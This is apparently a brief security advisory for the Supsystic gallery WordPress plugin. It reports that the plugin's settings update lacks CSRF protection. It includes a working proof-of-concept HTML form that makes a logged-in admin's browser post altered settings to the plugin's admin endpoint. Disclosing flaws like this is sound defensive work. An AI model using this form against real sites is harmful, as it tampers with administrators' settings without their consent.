The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack
<html>
<body>
<form action="https://example.com/wp-admin/admin.php?page=supsystic-gallery&module=settings&action=saveSettings" method="POST">
<input type="hidden" name="settings[send_stats]" value="1" />
<input type="hidden" name="settings[image_editor]" value="aaaaa" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>